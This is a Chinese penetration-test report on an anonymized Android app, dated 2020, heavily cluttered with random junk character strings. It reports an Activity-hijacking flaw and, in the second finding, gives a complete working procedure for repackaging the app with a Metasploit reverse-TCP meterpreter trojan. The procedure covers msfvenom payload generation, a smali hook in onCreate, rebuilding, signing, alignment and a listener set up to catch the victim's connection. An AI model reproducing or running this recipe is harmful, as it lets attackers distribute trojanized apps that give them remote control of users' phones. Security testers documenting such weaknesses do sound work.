原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

- S. b6 x$ w" S3 [

" I9 B/ k; V ^# M9 f; ?8 B ; J' X, {6 D& P* S* a" P0 B
" g! \" T3 Z+ T( T, c

: R5 m1 v+ }6 O0 d

5 K5 D3 [/ J$ H$ P

; [' I7 _1 J4 [0 f0 Z& ]4 Y 文档编号：                9 y$ H% f6 K7 D' Y$ @" Q" A4 Z9 _+ n 0 {! |8 C$ b9 Z$ c

* i! g+ @' B5 u8 E+ g; f

p* D z7 {+ ^( Y2 w ' j9 r: e; _# J5 Q$ r% O0 j   U S K L7 @$ @' u- u! W ?

1 A. [) j4 V1 H) A& j ' L4 r ]6 U$ t$ E4 C( J8 W; Q9 {   - L' k: W2 v& T

W! ^/ v, T6 p1 K1 B ) Q8 K$ S) l: _

; C% H, V% c4 E& C1 J8 T p   % b: O/ k3 u$ k) Y, g' ? Z9 Y

4 A( b. \7 |" A/ V: V

+ N: L- p/ o p2 r2 d6 W# |9 z1 ] " Q; M" T4 E1 l+ B$ y- I3 H1 P   # b" p" h7 S% U- v8 S! W: [

3 `# ^, _" d1 Y" m7 I

9 |& j. ], u1 \% f& A  

2 Y9 d. \& m) m! n1 M! M3 d5 c 某某某APP渗透测试 5 ^: y! b. M' I" x9 t; }

; N) F- v: J7 `6 [' m! e- i @

9 D$ l9 O" B' s. U* A* o4 ]3 w9 I   8 E7 f) T: f6 u/ d. [; X% l! c# \! m$ ? , D9 Q. ^$ L. g) X% X# y

6 E9 q7 u& |. Z2 n: w( t

4 S) W, m, X$ x& J+ Z ; e+ i C% P# c   # b1 z( J/ ^9 h) k# _8 P

0 g$ ?- U* O, j+ N) W# L! ] ; u: d& }3 b. u! R/ c

( @' c0 F. D3 @3 w   - R9 O# Y* T5 {9 v, N6 V5 ? ; w% G# a) E3 l

! S1 s7 _/ W2 Z6 r : ^. g: s! E# W, h1 ]" a   : ~% O3 N' p, O: e# J 6 I& m3 R. m8 M9 o/ h, Q

$ @% P: B8 `# k& t 2 |9 p" D. X# Q; H5 R

% y( t0 [' T! }! |0 ^3 L 4 |& t% A3 U/ W. J: V Q0 ^* U0 R 技 术 报 告 ) G3 `7 h, A8 P2 H : X/ H; f5 Z3 j

# m- O. K% d; J . g H d& Q$ K! e

5 N* h. F0 S( b. Q# L0 |; f   9 d+ f4 z2 k# i

, @* c! I" a2 f& L: B, A% `   ; |3 B S$ f+ t+ S9 A9 f0 r

p6 O: J0 B' A6 P& k4 N' Y $ B; ~9 X0 z: ?# N# r- R

' O9 m& I: D/ K" ^   : u0 e5 y/ W9 Z1 Y9 W b+ N

( _8 U2 k5 j2 a2 b" p

& q& G3 a' q6 m1 i; ^7 g1 A9 t. G3 _3 F   ; u9 F1 W/ `& L& Y" z' K

& a- J f' ?8 T& H6 k

1 k% w4 ?) N [' S; O " G$ U% y( M6 }   + D# i! ~" P/ n2 V+ D: M

: ~( o+ T! N# `& ~' q

; L1 X" i- c. x& \% O! u $ U, N8 z0 ]0 x) D. A4 J   : X1 d# g" Q& @2 {8 V

$ K! _, W6 h/ @$ E' Q

* O$ n* T2 H' P+ R K( I, d. b7 S% ~   6 e7 T$ Q: L6 u; c, L" g

" y0 |& C- f, f/ c1 Q9 N2 W; b) u

3 \ E! L& S" ~- y9 Y/ B3 m   5 w& k/ W" f B% ~

& M* X) @% D0 v# x; [5 s# ?+ A   ( ^# G# c0 u- ?! ]

' C3 y' v6 L9 m' Y4 L   p4 H0 L! [' \$ @4 J" q( m/ t

1 z& v% m' q q/ q) C3 v k , x; a7 x' O( H, ~" M8 h1 N

+ d- q4 Z2 P, {/ t1 t4 i   $ n+ ]" F! g+ I8 i8 x 2 \+ r4 ^6 [7 I8 N: L) _

' @, }! I$ B* [/ Y |5 d% ~! J2 D7 O 4 }7 t% X" c0 m9 l

" d2 M6 k- U6 p& [: S 3 C+ `0 a: b5 \2 ~. O8 j: b8 t   ( N; q6 B- k1 ^! v! |3 N' H

: n: m7 A+ q# L3 ^5 E3 M) M9 L3 Q8 d9 Y

4 D' Z6 i% @2 t1 n ; j- ~6 j" k6 j$ j+ ~( p0 d  

- c8 X( q) \9 F- q. P

' M! T" f- e* y1 h, {7 m4 N7 X5 p& ]   " n( j- p9 x* c1 ? 3 X& R) g* Q7 v% t2 W; R

 

* p- u+ n" e% ~3 _* H

* H8 B; r2 a" ]& i. J 6 A5 _/ B& r" @+ p ?9 I   ( l8 W; D; s/ [, f

0 Y; t# i9 T; O* `3 l2 u" N0 K; v

" L p/ @$ F, _& ]- q   - V9 N/ _7 h: k5 C- D

+ ]# A& v; a7 \

! [3 D' q0 f% ]6 V8 U . M; ?5 V" ~2 V0 w# t% p   1 }& d0 G4 l b- \( U5 {6 n . Y4 ~& ^, l, ^" v% t

. d7 y' V5 `) d5 h# f5 p: m

0 T: s$ t6 C! e, T) s & T/ b0 @7 G; h9 ~$ h4 H! Q2 d 二〇二〇年 4 n+ c; x- {/ ?3 e* c- k" g z / E# ?- G& A6 o) s* d

, Y4 D5 }: R: e6 A7 G% w; v 4 C6 o# k/ J8 \9 M! N. f. G " D1 z; h y5 e

+ R. u% ?- E5 Q# i+ h

% [. a( {/ m7 n5 }+ h 目 录 ' I3 q# M( o4 E8 h0 N* y

) }2 g8 ?# T1 m, Z& e* _! S& | & J/ k6 M% y) s1 S l# n, x8 W ) ?! Y5 z; X' e& a! n

6 \ m2 e! L# R0 M4 A( V   ; V+ s. D+ R( A$ f5 j0 j

: K0 Y! \1 k' s8 K. F 4 v6 x( L1 t5 k& S0 b! r+ o

: {( L- c' {) j0 r; f6 M3 M, V 1 概述... 3 + n- e z# n- E7 |* X: [$ ]; x

( f9 p( k- P( X3 B! p$ E' F3 B9 U + k7 k3 a( q# g) M5 k0 j+ t9 R 1.2测试时间... 3 : x! A. M r5 {% M+ ]

' e+ H* I2 S5 m; s8 e0 Q: h

" J$ D5 D' I$ m6 G! b& d 1.3测试对象... 3 5 {4 M4 _# o# _$ R5 i/ V7 |" \ 8 U. v. B" I# h# F1 F, g" F

/ w {' p* r% L: W/ \

8 I: W0 S( F2 p6 [2 X0 t 1.4测试结果... 3 ; @: u, t; ~6 H- `/ g3 x$ c3 W! { ; ^- L) t& k3 J2 ~0 K, N0 d; A2 E

$ Y( U0 Q; S# O% c! N/ }3 ?! O $ b' g0 \8 A! \' f

4 p8 ], q4 A ~2 o. ^2 k8 n% F6 s 2 检测结果... 4 5 r" |) X1 y: m5 Q

/ j2 G6 }) Q4 Y: l* n . }" @9 a4 \: G& W- u

9 N9 W6 o- l* S5 p6 d4 W4 `& _+ _+ Q 2.1 某某某... 4 : `8 q: @( O+ b0 Y, t

' a6 B! o* w, K6 ^8 F: j

2.1.1检测目标... 4 % K6 p( B# e S

( [8 I- R# L: J$ ]6 M" n5 S

: {) H& {/ [7 V+ F$ U4 A5 ^ 2.1.2检测结果... 4

$ R8 w) R5 S4 I. o8 s 7 m5 j4 w1 B# n# b" L4 v& Y

. R% H' V) a8 i9 B 2.1.2.1. 4 7 u9 m. D! J# l ?9 T% [! Y

7 F! O. U% j* k% T/ A& y6 D8 e

2.1.2.2. 6 5 |; o* E! w i3 @8 M- x5 j2 t 1 F1 K6 ^5 L+ I; l9 h

# W6 k, J$ L/ @( i# q6 z) P ; I3 A5 ^8 M! h' G8 _' z+ x . M! q, V' ?# p; x- L. ]! j5 n

! z8 O# P2 S5 j! n 5 Z) ?7 R- F* v/ s- I- e. l- e 7 Z2 s2 y, f: A/ d! K' G! I

+ Y# W1 E1 ~' }7 S3 { * I( b. x9 E7 G7 i) Z/ [5 {+ K

3 i" H. Q1 d I& I) [ 1 概述 ; r5 o: d9 c" b0 y$ b; {

3 N1 d) i6 j F/ x1 S% u A 5 O( u0 @) W0 c# \

3 L' A% O; f K7 } 1.2测试时间

2 N R& B. I; T4 }9 m 1 H% b9 I3 F) c O; Q2 v3 `2 G7 V0 R \8 }4 a" C! ^9 k3 a9 I- F0 J9 a' G$ @8 L# j0 T U5 [* j# O- {; V4 A( W% M, t8 I. |$ B9 r. t$ m) g9 B% v0 ^0 N$ u2 c2 f1 o: g9 m/ h6 t! k: p n7 X+ c+ {. B% x1 L# m7 j$ E! @- ^! R% {3 v* V+ n' o. C9 T" W& b: y5 i- ~, g' v$ |) _' a3 d y' x! k- H( r8 H, I1 F) B5 t& m2 u/ I) |& r1 g! }" L4 N, k( @: U/ u' c' L

% @/ w8 @. a+ M* v6 k 渗透测试时间 " i: q' n9 N6 k" T# {% Y6 |' | ( t, v W0 y& B1 j5 H, V
! N' F( r! t( b2 y4 X) w & T X3 \+ t2 E5 }3 j 起始时间 ! W; P0 w! p' u3 j" n( B z0 ?. { . F4 f1 `5 E. J4 {4 Y, s$ ^ s( k: B8 T1 W* a5 D	' r. u- U8 C8 j9 ^; h ( k4 X, N3 H7 |0 ^- O" T& g8 ^ 4 l9 M+ W; M2 h* [, F+ K ) g, S. ^3 a" ~: Q8 ^# l4 f- x/ e 2020年4月6日 3 z. B. `: `3 A* h 2 I6 ?) ~- C# d( [4 A 1 W: e5 P! O& B: J0 `3 v7 [/ ^ , }- | ?! L% ?6 B, g: H: b/ |
5 D6 U, ]" ~% W ! ?1 A( \: @1 N) h$ c: \3 \ 结束时间 # Y" D; X8 F% N# q& q0 I% F / r$ I% K6 s3 l! y( q: x+ D	' n1 E: @' G, c$ k7 D 9 E$ R- t0 Q% f& M) i9 b2 f d2 z- z! P& Q9 r! s 2020年4月9日 / V8 u9 y/ P7 F. h 6 T- S# Y8 z* t4 G! u+ |- p 5 r9 [# b) j" p- t; Q

: i6 c4 n3 }( @ M: Z 0 B2 z1 q# N- O; h- W. i' F& j

6 b& i( c3 E- o! C 1.3测试对象 \; x, B) i1 `8 }7 }& J: W" u

" j' { f" d3 m . c' r' A$ E3 o- O$ r) f6 z- e

此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： ! [8 R/ k& p1 R) s* }! y5 Q

0 m( `% j% T' o' | 表1-1 检测对象 1 j$ U+ M9 h: k) Z! o # Z' D/ e6 m8 s5 z% ?" b9 O; t. x

. D: `1 V$ q' e. x# ^( i2 l8 \ ( h7 n( B7 _5 u8 M! V6 D % P1 q' m9 N8 E( `2 S+ `* _- |; S# q& m% Y& h5 s5 S9 t2 L& ~3 R- b4 o% R' n* Q' e: R4 ]$ v0 d" u6 M5 g/ H4 z' X5 J* l% E# M9 x, U- H/ a* u1 z& x) Y. t6 w/ t6 C& C7 v/ c, K6 Z* o( y7 w0 {- ~0 h' Q8 ~5 `( W! i, W4 D) E8 v5 {# x5 t# `4 W( }! Y& u4 M7 l# V% D4 T2 m, D/ z: i8 p" c3 n

4 H$ X( { i, w% {6 L* L+ L0 _! ^% M 序号 ! j. s% n% r6 l+ W % c6 e5 R2 t$ k- |1 E " N, Z. g: N( J k+ }0 K8 ~% |' H0 k6 |! v7 w% }# y	9 `$ B/ T; L4 s: C) G 1 u+ r: |. ]* {" B+ v( I 测试对象 % \6 n% O& x9 A$ ?' d m , P/ p& B% X; q: T" r/ b5 n	1 W0 p! W2 v) }1 m/ K + Z! a0 C$ V2 R) G 2 A+ t( z1 `# N 测试地址 1 L$ l; O" J c$ h) I8 D2 I! l4 t* G% H 4 m! x3 ?- t+ a* A7 v5 B $ } ?4 V+ g/ i+ ]* T	8 W7 k, U+ g$ P $ j4 ]/ T, n0 S$ P4 U# h- ~0 a" u 安全漏洞 ^6 `0 b$ z! b: o2 j7 d ( r! `( z9 P; [% m ! c3 g- t. v: h
4 Z1 ?6 n* W8 ?1 f1 q, c 1	& ?# C0 F3 [0 ]4 f3 |; W ! |6 E/ n) @6 c" h3 B+ ?3 e 某某某安卓APP 2 n0 N/ U- e) {/ \8 G5 q; G2 x; K 0 E B) q4 i8 Q	4 w, e {. {, P8 I' ? * p: G$ O( m' r$ R. x   & T) @ V% p x	1 Q9 i& j' |# |: W- \8 Q * c) L- e' f* ~( } 2 # B% p5 X8 E) N9 Q 5 M/ j( q' @: g0 ]. ?9 F . `. L* t; s t% Y% V6 N % o6 V0 Q# b8 l" R; |, q* {

& M( y, {: ~3 q

7 Y, H3 U2 ^9 m% y* |/ l 1.4测试结果 " P% f: K4 D4 H8 \9 R8 V + J% X0 g4 S& k, s% l* l

) `: Q8 t. S; y! p, `2 W4 V 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： - P4 z( j% w( ?% ? - Z& `; n* ~) b1 x: w5 [; A- V& z

! e5 h5 E7 }4 g; ~9 t

1 l. |5 k& d, h& I2 V) ]! I! x   ' t5 _) Z- S* k1 n( R& }# N# a1 w2 c3 ^

5 b1 T4 s, ^& v8 H; d- r4 h

( n! j' j1 b Q+ V * I2 ^3 \* j. H7 A1 |1 b$ D+ r ' c8 R' i& W, S4 F% Y$ Y! f2 a6 `, K8 ?& ~! i6 r+ U! P/ l' @; w; V( {5 Z Y' p8 g( v) u- n, v; j+ N; z& |6 }1 N6 N" }8 `! p: W k5 ^3 V, n0 W, n% u: ?& F* ?6 V, F% |7 l9 p1 q) u' M$ g+ F& S) D$ M+ I. g7 C9 k7 m; O# J+ L1 g* |% p9 E6 N, X" |( i5 H1 @. D [0 p3 Z2 n5 o- }) \% e" G7 r! A! T# v) [$ [* P) }3 v9 G6 F9 R: g/ U( Y$ T z: Z! O8 \% t B/ Y' t3 c! `6 u u6 v7 g) k. W2 N: ]; D7 U; ^$ S Q! B3 d3 Z5 N$ Q) @+ z$ R& h1 I/ D, E1 f7 a8 o# q3 Q+ e9 p% j& f% G; e6 f& s# s3 z) \/ B" c/ O4 y! N1 I

4 w5 U% s4 R, Q3 n * N6 ]1 h8 o2 C" T/ `0 }% N 2 {, p0 v* n; R) l+ d 序号 ) \' P0 t# P7 \0 f! D' o' Y	0 ]) p6 u; \, L4 a. w + x. B5 w$ M+ F 系统名称 * ^) y8 l7 r3 t( Y; j9 g) Q* h : O# [8 v0 t# t+ M' [2 @ # y- i7 ?; s( C, Q9 [	W# o4 d- b1 j* c6 q* F- m) } & W1 R# ^* a2 @* t2 Q! c% v7 F4 U0 a & d2 H& x- r! f E5 B 漏洞名称	9 P2 h- K$ Y& q5 G; v, y & i/ Y! f' b. W& Q ~; l 漏洞危害 + ?3 v# c8 l% C) A 4 G3 @. M- c, o8 a) c 2 A$ W* ^8 I' `2 s" j8 i7 C	' [5 u( `' H7 M8 D 修复结果 ) r3 R- J2 c1 Y: t # U4 M7 l W: x' p+ K& f: H: e ) g: s& Z( o/ N& e0 U
% j$ g: C( C& c! y% k % c6 s( X2 a5 A- g 1 0 }% a+ f) C8 z, [% ^9 i 7 e; l5 a0 i }. E, K 7 T4 h7 g& m/ v 1 \, J9 c0 Z) ~! q	& z/ C: @0 c# m, W5 i 某某某某某某APP 2 k8 Q, T( S) q5 F/ X! E$ x( [ 6 r- f' i6 Y5 }: j7 g( k	- |" c) _. Y& G) N9 V Activity 劫持 9 i" w1 Z* Y+ `; p& r2 C* j ' g, w. h# t7 X) b: D' J8 ^ " l! K# N! Y8 e# ]$ E   7 k0 H5 Q! A/ M# ^# p) N5 b $ r* ^% Y4 K- z# F * R. u+ ~' ~/ \% @1 _ 2 @0 W1 i9 s( s+ F# {	% P( v: J% W3 \/ y) F7 H0 B" t 高 ) b% V2 a, i* X6 F) b- X - i" E: Q7 e( R5 \ / j2 \4 Q; V& n) d- L6 n	2 g* i3 Y- F. I8 z8 \) D " `7 U2 V' L: k: [# ~# q5 W# p" t( B; l   & \% S4 w! I1 d, D4 c5 f 9 h$ m/ v$ z$ Q! u1 I' \
* o6 n, P5 Q; ?$ s* v6 Z 9 K8 S8 s" z3 f+ z4 S9 l . X( C+ t4 A- G# Q2 ] 2 5 ]0 \' ~: _7 l2 \8 ]	1 ~ } v& \1 ^% a : |8 g6 s% s( u; h 某某某某某某APP % z6 k1 J7 B, B. ~, c8 {* \	$ r* b8 N5 p7 E: p9 [# _8 q o 1 E5 I6 S, x# l/ N) H$ ^' u / \0 S3 n( e/ v$ I, R 反编译二次打包捆绑木马、篡改APP代码 . R- {- F* }, c( T0 ?: F S5 _ # q; n5 t( y5 J1 B) z ' G! z& Y" x. X/ Y2 x* m6 P9 Z - z6 h1 l$ `4 D- Q# C6 d& n% R! s	# C6 D/ C% R% C+ j* Y- @9 m7 e 3 h0 X8 y# ~1 E% d7 {% t7 { 高 ' c7 B( G$ q9 w& [' _% y- y 2 t0 F) A4 A! d1 _	6 W* }6 g# D$ f$ x$ _4 o3 { 8 G! q- m6 b; H% I; N: G0 A* G 7 c% ?; D1 a( W1 c7 U2 T w1 ^# {' D1 R) z1 D   4 t- N. p3 f: f0 w * y& \: w6 {% r8 w5 A6 H6 s ) Q' w+ X7 e; [

' ~9 Q! a9 ]* E* Y9 o5 t

, e5 d/ ?! t5 g% p # J8 Q, F; p5 i) p$ j4 O- [6 A

  . E' ~* f1 d; Z$ r R4 s ) K1 e: \) r7 ~+ h( {

! s L: x1 m9 v2 q! u

- c _/ K g; E9 ~ 表1-2 测试结果 , x1 c! [/ i! N; P2 L( U

$ D0 \- V9 [/ @/ T 4 ]$ a( k1 `9 h/ W5 N

" N& N/ Y# g& S% u4 E   + U/ c/ e. @5 B* o0 M0 j! H3 _

8 E" x; B& H# ^; \

/ E7 O$ {; U4 a: r2 [* s i2 K 2 检测结果                    ! A* N. I: D p9 a6 M! X

9 j: Y2 ?! _1 \) O( Z i 2.1 某某某

5 W d6 u7 w$ f1 G' W! { 2.1.1检测目标 1 ~6 |2 A! [- B( ~6 [

1 M' r: @: a# {' R

: s" {( U5 N+ w $ u* M6 X4 J( D9 i5 _; X 目标地址： 某某某某某某APP , x- Y A2 U. P% w9 m

0 L6 K# V6 ]1 Q! c$ [2 o ( H# \$ y$ Y) k. }" o \

6 Y7 }' Q+ R& E4 q/ Q8 f - {# y* f( l( t" z 2.1.2检测结果 * J) E! C" b. ~) a! E - ~( D, c3 @, o

1 e+ ?+ A* X' v& Y( b5 I

' e" m2 p8 }+ j# t, }9 V v ' S2 V; Q1 [) l" r$ s- ` 2.1.2.1 6 v# k2 x! W( y8 S& `

. G) h- v1 Y3 i# f1 L 漏洞链接地址：某某某某某某APP ( S9 ~! o( [" v( j6 T 3 |, O( Y! _9 n! @

$ m: L5 u) a" X7 j3 I  

8 G; N: F; Q/ K V& ~

3 G- }- ^1 X' `5 r! o4 C* k2 Q! m2 \ 漏洞分析及取证：

1 |8 M* J) w3 Z- t4 n

6 i# E/ m: D: \/ n R! B0 O * B& w7 a0 O* n" R) {& D9 }                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： 0 `4 y' H& S! ~; ?# E ! T8 B8 n# N6 i2 P: _* S. R

% m: E0 m/ V6 x/ K( ]3 e% d# l

$ e2 j0 a- i1 u# M. d: F6 Q9 r      # h! u6 k) f# e) Y

) u6 p% A5 s: \ + \6 e# l: J$ ]2 k

                     

* G6 h1 u; l6 h, _

0 r4 g- V; \; [6 T$ [' Y' [* [, l' G " f# I- X/ X3 l0 }9 F

0 ~, p* M4 G+ T* @

0 J N: ^! L: s5 Q/ p: j! g9 C

; X3 K o1 {8 R7 i1 n1 ]& p$ P

$ L9 S9 U' I& H2 C 漏洞危害：高 $ U/ G9 u. E7 ~' B6 r- O ^$ j6 }8 f$ f

* x" b( d% A# e7 @% @ * _ h' i2 A" x& `# [( b! @" c

1 i, x8 ]! J0 e+ E 8 O9 g6 ?5 z4 r) `( H7 D n/ h* k1 F: e- n- [8 i% W' M8 a; S0 V1 w' w H9 w) u7 ~ L9 f" o3 e# K) A, a( c. ]$ |9 U& A" B' c: Z3 Q. Q9 G* c# z) d7 R% {% M$ {4 B5 n8 L& R: s8 R/ o2 F3 G' u; [: v( [3 ]! U- R( R1 ^1 i, X r+ T- ^$ r. C6 o, n1 O, t$ p7 N! l2 `3 |

+ p) ^0 f9 h3 G7 V9 z/ {5 g7 w 6 m8 [: c2 b' H3 s( l8 [1 m* C ; j1 }8 F# ~6 A 严重程度 ' p+ a. K2 w+ \" Q+ h. } 4 |4 D* ^ _. D, P3 r$ R	% {$ ~4 Y% x0 _, ~* O. X' \2 | 9 G# l4 h! H3 i+ K& G8 ]. {! S8 o 高 8 f' ^6 x, g/ l. f' H% J ! T, }$ j9 l" c( F5 K, w	. [$ }! d; }8 R$ F0 d ■ : R: Y" P1 Y6 h' q: o t	: T% b1 p8 ^& \# D$ Z$ X/ F" n5 u* D 中 $ W( v! e* J: i7 O5 G( M. @ 7 K* n& t5 p3 k; [3 G3 E* K* j1 W& Y 6 I9 E7 _" N3 _- v9 c	$ q% M2 k3 R. J7 J1 n & a! G* `9 i! Y5 ~/ u   ! n! i5 R( r2 h* I1 z5 M 2 G- ]1 o1 Q& G0 o0 z- |- E: W+ y	7 S: z M/ U" a" F; K) ?: [% O 7 g/ o. q0 o* W* W + _- l U5 Z# E0 \+ w 低 : g& o7 ~( \ _9 r4 T( o	; ^5 v: x- M0 G) A2 l   ) [0 b& y7 W; L) d

4 q O1 T1 T4 _% E. C 2 i& ^. @6 [# |. e   ( y1 E' N5 ^- Y. ^9 D# q

9 P5 K5 E! V5 \

. ?- i! n& L' z: O: V( { * F1 m, y9 s ?; Y6 `+ B 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。

" I" [; V- X; d; ?1 E' H9 u           6 S$ Q% n4 ~3 }, |4 ^, ? " s/ {5 J$ |+ r% e9 ]% G$ f

& c. T/ H8 o3 ^5 c# G( I

3 E( o/ g0 ~: [0 ? & n) }( u) u0 J: X- C" _  

5 V6 _5 w: [" r5 w. \4 Y1 y; p ; _, g. K' x; R" v3 M7 X

! q+ l; l- Q' C* o# O: a 2.1.2.2 J* c6 O$ x$ [' N/ n7 O; E& V$ x

漏洞链接地址：某某某某某某APP # B7 |4 G1 ~6 I" k, v9 F

/ @2 p4 I) f9 V 8 a2 e* }* `8 V/ O* f' G' U

漏洞分析及取证：

' ?; t# _+ h4 R: D                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： 3 U7 e: E' U% L9 T

5 j3 _3 H4 Q+ Q+ t( b : g4 o: H: J R! @5 @ 用Metasploit 生成木马 apk

% E; D5 K( p' q/ \1 M

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk

9 `5 |; Q$ ^1 q% e1 s8 e$ j 反编译目标apk和木马apk / X, n2 R3 |1 |. s1 o4 M2 }

9 h1 N: S% \% n. L- A 5 M! e7 g, }! s6 H1 f% y4 |1 j

apktool d target.apk
' m- M4 D3 e" R1 _* ~ ! v; I- Z0 U7 c& K8 m apktool d cockhorse.apk 7 w+ e1 Q- x- s

8 H3 i( |+ |0 h, \ c ' E% o1 S- \2 ~* Z

F9 J. m& d6 E/ n# A 木马 apk 注入目标 apk

% R; I, z- P; v$ L! f8 ` " s- `# B3 @" F) U7 x. K

! Q* ^9 U9 |7 _$ |- v* | 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

# }! V1 D5 d2 w& _! |6 C 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 $ {. w$ _* h! ^: X. [ w

' b5 H* i4 n8 W- r. g

将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 0 }- v0 ]. q* X$ y ( W1 w' p4 ~- s8 T5 L' S

8 u! `6 h0 S: N6 B1 m0 {" c0 ? 1 X2 v0 V; w9 {1 U6 j& N5 q6 R5 \

1 c1 t- t7 ^7 {0 b( H# x 回编译生成最终 apk $ V& Z& U( i; U- J7 J/ c! m

* R m D4 h1 M# m8 E

) }* U8 c' m) D2 O - c5 ^6 ~, W( e- d4 I( H7 ^ 重新打包 6 l( T* p0 g( o8 J" V% ~ Y( V& V " J0 X* m3 f# o( ?

% E7 R: B* m. s) u( |6 N

% Y) _/ l* Y8 U) J, C apktool b -o repackage.apk target_app_floder " i0 n9 q! t& R; O ! i0 }5 q. C* n/ I& S

0 y6 G/ k2 H" \3 F , _. [* R1 a6 t3 q( c 创建签名文件，有的话可忽略此步骤

. D% e1 d3 J" \ o; c3 S3 f

: {3 R* x( [' r3 l8 p! z7 u- E - u; W$ s- ^. [; Q: t keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                / X( R- r1 E& Q% @

: d+ ]( o* Q$ r4 u6 c$ D

' R% ^/ R4 F& M& z% L4 U* B + g8 A- G# I( \1 _; r' [. G3 m 签名，以下任选其一

+ M8 V& o7 j$ n( d3 R9 @6 x

8 T, q* B% ?& ^9 |6 z 7 T* P* r' X& C: T! _ jarsigner 方式

) O; r& _1 O4 ^- h7 C

jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname - f+ B9 H: w( o/ D# X # D8 ?/ q) ]+ s1 L

" V" F+ w$ \7 r/ G. V% M. @1 Q" E $ j+ X) {& z% w: K5 ]9 o& Q# r3 z

' J$ ]6 C1 B: |! N+ E" u apksigner 方式 4 k0 [& a" h& y1 M1 q: c# Q. I3 D0 {

" @) S& j4 U, I7 ?/ l2 Z& L f

apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk

如需要禁用 v2签名 添加选项--v2-signing-enabled false 3 ]% d, P6 v; I5 Z; q, A

2 A- E; H0 h( l$ M0 L2 z/ f 验证，以下任选其一 ) M4 _1 d2 U! g) w

" e: U, N. d/ m4 n$ Z O8 _ . ~+ q7 a- p+ v$ R2 G. j2 u

1 k9 x' T7 Q6 Q9 b0 s 4 Z) ^! G' @ `3 N jarsigner方式

- ^: ^. p( P# L* x

' h9 d$ [9 p& t: H( l; R$ R) B jarsigner -verify repackaged.apk

3 X, Q6 P! j9 F9 m6 d2 p

; ^: b3 t W' R. \ . r, G+ C6 @! M0 [ apksigner 方式 & _$ O' _6 \; Z6 p

- z0 J( Q4 n1 C7 b

& B+ t. g; [, E apksigner verify -v --print-certs repackaged.apk # |) s( G5 ]9 J9 ]9 D

! a- @+ X7 e8 S7 B9 w 0 b- H8 m) y8 o% T+ B

4 ]% Z3 P% {6 b/ C3 p( s) p6 x; z 2 L6 _& L: b0 c6 y. t keytool方式 & h0 \) E; h. V* s - ?% j# W/ @8 o3 p

9 P& [6 G T: }. @4 n, ^1 g, f

# P% E3 M- Q6 [9 n a ! G* c3 V" {9 C/ Q- B2 p/ E/ f keytool -printcert -jarfile repackaged.apk {+ V+ x& O( {1 ?6 A$ X/ l, U" @ , r: t3 Z T4 D- b

2 W5 h" Y$ U% u/ @, ^9 R( J) [( ~% h: h ]& q% k$ d0 Q% E

* o- F$ X" s# c& v( w5 M2 B 对齐

) x# \6 H6 S$ x4 G& d + R+ E- t# {- o) Z

字节对齐优化

zipalign -v 4 repackaged.apk final.apk 7 w& b3 ]7 Y% k5 V- [( @( T5 _/ ]

" _/ X' L" c; e: S+ N$ P5 n! I6 H* L5 y

, r0 M/ z0 }1 z3 v% ~# N& K 检查是否对齐 8 z: D0 s6 ?& L' a- m

5 X5 z) ]5 G$ D3 w/ T4 Z6 ~5 y# I

* J$ a& i1 B8 ]6 A/ p" T( P 3 o8 b7 f0 @- e; a5 j* `! S( { zipalign -c -v 4 final.apk . L+ @* C$ b5 i" d+ r1 p

6 M* F& p4 J- v4 t

$ `8 H5 K2 g9 N h7 \ 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 P4 B; n) M- u* T% G5 m2 _0 c$ K

) z0 G+ i( M* V" D! j2 G * p5 M3 a# y" Z% z/ b1 Y% V F; S$ c

$ T- L! X" U* @7 y8 ]5 q 启动Metasploit控制台，配置参数等待上线 1 X: B! c# t) X3 _1 u7 w! }

. c* O( b' b( q" ]

. U$ ?0 C+ N. P ' ^" s$ L* C" C8 G- c* z0 E2 [ 在终端依次输入如下命令 : |( ^; c5 J* C- w A% c. V- N

0 x/ C% r6 o- ^; W

+ _7 K5 d0 t. C: ?' W6 l) _+ s6 w msfconsole - {) S' L3 q4 A& T

G+ u o1 ?8 G4 I( k) ?

@) y: z( k5 h8 P4 A; \8 k / B) e! E; G: O: b2 T7 k use exploit/multi/handler , ~3 P3 G- R. q* d0 n ! V. I, U0 h& c Y, e% ? G; D

set PAYLOAD android/meterpreter/reverse_tcp # G" K* d! U2 ?0 ?/ b O9 E * M2 Y: C8 I2 h" r6 `

, N* |, }6 y, q- W

( W& z# ]% i }1 X: `: u% I) B $ P0 Z5 ~- `7 O" | set LHOST 192.xxx.xx.xx

- }. R7 @* a: y& L8 S0 w% H4 j" [

- z8 ^1 p! H/ Z. F9 A& t set LPORT 4444

# G1 I" U7 t8 }- p. o% i. H

exploit 0 |! I R6 X5 a) h* D; }1 {

' T" ~/ T# ~8 x3 X8 @' t+ f

6 Y+ K/ g3 P0 X) z ' t% s' s) E; z( [6 t. N( { 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：              

漏洞危害：中 4 M8 e0 U, b! q; w

